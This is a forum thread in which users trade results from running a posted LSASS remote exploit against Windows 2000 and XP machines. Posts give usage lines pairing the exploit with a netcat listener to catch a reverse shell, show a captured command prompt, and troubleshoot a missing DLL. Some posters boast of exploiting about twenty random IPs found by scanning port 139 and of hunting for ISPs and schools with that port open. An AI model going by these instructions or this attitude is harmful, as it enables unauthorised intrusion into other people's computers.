Good post again dr0zaxx, gonna check it out!

Thanks dude, thanks a lot, I'm gonna test it tomorrow on my test box @ work
Greetz to you

lsass 1 ***.***.***.*** <MY PORT> <MY IP>
Can't load sbaaNetapi.dll.

dll missing @my pc or @the remoe pc?

Can't load sbaaNetapi.dll

geez i googled for that one... no results :/

dr0zaxx can u pleaaaase tellme what c-compiler u used ?

i got some errors when i used win32-lcc

I think it's not

Sorry for the program error, i checked the code and i change the sbaaNetapi.dll to NetApi32.dll . Changing the NetApi.dll will result in an error too.


Sorry about it

ok it gives no shell on vulrenable machine:
lsass 0 192.168.0.108 1111 192.168.0.105
win2k sp4 en!

Nah, it's not their own library. They changed the stuff. It might be that on the programmer side of the computer they are using that dll filename. But i dont think so, by default the netapi used is netapi32.dll

i just try it , and my pc got rebot
must be a virus or something..

i got the same here

i have test it
it is good

stonebreaker haha show us a screenshot that was it succesfull
thanks.

i think he means his viruscanner don't detect it

also need a null session scanner
thanks alot for this

D:\>lsass 0 192.168.0.143 4444 192.168.0.143
shellcode size 316
Ret value = 1352

doesn't work for me..!

maybe successfully exploited, but i didn't get my shell back

black

try this scanner its ment to scan for the vun

it works local, just try to exploit 127.0.0.1

C:\>lsass 0 192.168.0.10 123 192.168.0.1
shellcode size 316

Z:\Security>nc -l -p 123
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>


but remote i had no success

Tried this exploit locally. setup my unix box to listen for the shell back.

ran the code. first time did its job. then got a dialog saying debug or not. but no shell.

ran it a second time. 2nd time prog said the same. but I got a RCP 60sec timer. but alas still no shellcode.


using XP Pro SP 1. guessing that it may work on some os. but not mine. but its close, very close.

thanks for posting the code. hope somebody has other results out there

works only on CHINESE windows

no, worked on my GERMAN win2k SERVER...

to get it working on remote, u have to compile your own netapi lib

also tried it and got a 60 sec. timer on German XP SP1!

lol that's what i mean, just del it, nothing worth

Why would you want to compile your own netapi.lib? Any reason? I dont see the need to

I see a patten here

all 2k boxes seem to fall.
but nobodys had a shell on xp.


can ppl also post what os there using and what sp if poss.

1-2-3 where is my exploit or what alex1 ?

this is hacking ..and i hope that we can get it to work alltogether the exploit works fine i think but we need to modify the netapi32.dll and this should be very interesting ..so everybody can learn a little bit more about his box =)

dr0zaxx look at exploit discussion i posted something there why we had to build a modified version

no shell for me remotley. put already patched my system, tested it and no luck.

tried comiling got lots of errors

http://www.governmentsecurity.org/forum/in...?showtopic=8076

I'm using win Xp sp1 , neither local no remote work for me .. get teh 60 sec timer to shutdown

..

Gives Error Memory Cannot be referenced from some *** address

i
just get
shellcode size 316
RET value = 50
on remote machines

so Long DC

Here is the missing .dll if someone needs it.

did anyone check uisng the exe from an unpatched machine and then from a patched machine ?

When i tried it on one of my unpatched machines it caused soem service to crash , giving that 60 sec timer window.

but when i tried it from a patched machine it gave .

D:\x\lsass_fixed>lsass.exe 1 11111 192.168.0.103
Create NULL session failed
shellcode size 404
Ret value = 50

Edit: And like someone said you'll need a null session scanner

exellent job !!!
thk you very much

OH F*CK!

this exploit is dangerous! i did a portscan on port 139, exploitet about 20 ips and had about 20 ncs open listening on port 1333. now i have 20 shellls...


DAMN....

thx for this one ...

i will try

so i have to use the "not fixed" exe + the missing dll?

is that alrite?

So, use the original exe with the new dll in system32? I dont get it, am i slow?

Yep, i`m glad that i was helpful to you.

Worx Wonderfull with Win2k Thx!!

Now we need one for XP

can't get a shell here...
nc -l -p 1333
(no responce)

its working (on local network)
setup:
lsass 0 target 123 connectbackip
nc -l -p 123

start:
lsass 0 target 123 connectbackip
shellcode size 316

nc -l -p 123
(now press enter)
sheel will come here

btw, first thing in the morning patch youre god damn network! Windows2000-KB835732-x86-ENU.EXE!!!!

did anyone get this to work outside local network...?

boaahh deadly one ..works better then i ever thought

Works perfectly on a local network on my 2k boxes, which are not updated.. my xbox box is already updated so it didnt work... Only prob with this is finding isps that ARENT blocking port 139... heh, trying to find some right now, or maybe schools, etc.

there was a scan for this put out earlier in the convo (pretty sure it was this topic anyway)

aw, yes
http://www.governmentsecurity.org/forum/in...opic=8069&st=15 (that page)

rofl way to link it to the same thread

been messing with this, no results yet.. but well see :> port 139 has been murdered :/